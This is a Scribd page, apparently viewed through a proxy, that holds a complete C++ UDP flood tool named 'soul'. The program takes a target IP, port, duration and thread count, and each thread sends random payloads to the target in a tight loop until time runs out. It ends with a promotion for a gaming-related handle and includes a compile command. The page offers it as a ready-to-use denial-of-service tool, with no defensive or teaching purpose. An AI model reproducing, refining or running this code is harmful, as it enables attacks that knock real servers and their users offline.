Scribd Logo
Upload

Welcome to Scribd!

  • 2 views

    soul

    Uploaded by

    kingyt4311244
    The document is a C++ program that implements a network attack using UDP packets. It allows the user to specify the target IP, port, duration, and number of threads for the attack. The program generates random payloads and sends them to the target in multiple threads until the specified duration expires.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd

    soul

    Uploaded by

    kingyt4311244
    2 views3 pages
    The document is a C++ program that implements a network attack using UDP packets. It allows the user to specify the target IP, port, duration, and number of threads for the attack. The program generates random payloads and sends them to the target in multiple threads until the specified duration expires.

    Copyright

    © © All Rights Reserved

    Available Formats

    TXT, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    The document is a C++ program that implements a network attack using UDP packets. It allows the user to specify the target IP, port, duration, and number of threads for the attack. The program generates random payloads and sends them to the target in multiple threads until the specified duration expires.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Download as txt, pdf, or txt
    2 views3 pages

    soul

    Uploaded by

    kingyt4311244
    The document is a C++ program that implements a network attack using UDP packets. It allows the user to specify the target IP, port, duration, and number of threads for the attack. The program generates random payloads and sends them to the target in multiple threads until the specified duration expires.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Download as txt, pdf, or txt
    You are on page 1of 3

    #include <iostream>

    #include <cstdlib>
    #include <cstring>
    #include <arpa/inet.h>
    #include <pthread.h>
    #include <ctime>
    #include <csignal>
    #include <vector>
    #include <memory>
    #ifdef _WIN32
    #include <windows.h>
    void usleep(int duration) { Sleep(duration / 1000); }
    #else
    #include <unistd.h>
    #endif

    #define PAYLOAD_SIZE 20
    class Attack {
    public:
    Attack(const std::string& ip, int port, int duration)
    : ip(ip), port(port), duration(duration) {}

    void generate_payload(char *buffer, size_t size) {


    for (size_t i = 0; i < size; i++) {
    buffer[i * 4] = '\\';
    buffer[i * 4 + 1] = 'x';
    buffer[i * 4 + 2] = "0123456789abcdef"[rand() % 16];
    buffer[i * 4 + 3] = "0123456789abcdef"[rand() % 16];
    }
    buffer[size * 4] = '\0';
    }

    void attack_thread() {
    int sock;
    struct sockaddr_in server_addr;
    time_t endtime;

    char payload[PAYLOAD_SIZE * 4 + 1];


    generate_payload(payload, PAYLOAD_SIZE);

    if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {


    perror("Socket creation failed");
    pthread_exit(NULL);
    }

    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    server_addr.sin_addr.s_addr = inet_addr(ip.c_str());

    endtime = time(NULL) + duration;


    while (time(NULL) <= endtime) {
    ssize_t payload_size = strlen(payload);
    if (sendto(sock, payload, payload_size, 0, (const struct sockaddr
    *)&server_addr, sizeof(server_addr)) < 0) {
    perror("Send failed");
    close(sock);
    pthread_exit(NULL);
    }
    }

    close(sock);
    }

    private:
    std::string ip;
    int port;
    int duration;
    };

    void handle_sigint(int sig) {


    std::cout << "\nStopping attack...\n";
    exit(0);
    }

    void usage() {
    std::cout << "Usage: ./bgmi ip port duration threads\n";
    exit(1);
    }

    int main(int argc, char *argv[]) {


    if (argc != 5) {
    usage();
    }

    std::string ip = argv[1];
    int port = std::atoi(argv[2]);
    int duration = std::atoi(argv[3]);
    int threads = std::atoi(argv[4]);

    std::signal(SIGINT, handle_sigint);

    std::vector<pthread_t> thread_ids(threads);
    std::vector<std::unique_ptr<Attack>> attacks;

    std::cout << "Attack started on " << ip << ":" << port << " for " << duration
    << " seconds with " << threads << " threads\n";

    for (int i = 0; i < threads; i++) {


    attacks.push_back(std::make_unique<Attack>(ip, port, duration));

    if (pthread_create(&thread_ids[i], NULL, [](void* arg) -> void* {


    Attack* attack = static_cast<Attack*>(arg);
    attack->attack_thread();
    return nullptr;
    }, attacks[i].get()) != 0) {
    perror("Thread creation failed");
    exit(1);
    }
    std::cout << "Launched thread with ID: " << thread_ids[i] << "\n";
    }

    for (int i = 0; i < threads; i++) {


    pthread_join(thread_ids[i], NULL);
    }

    std::cout << "Attack finished. Join @PRO_GAMER_VIP_OWNER\n";


    return 0;
    }
    //g++ -std=c++14 soulcracks.cpp -o soul -pthread

    You might also like

    pFad - Phonifier reborn

    Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

    Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


    Alternative Proxies:

    Alternative Proxy

    pFad Proxy

    pFad v3 Proxy

    pFad v4 Proxy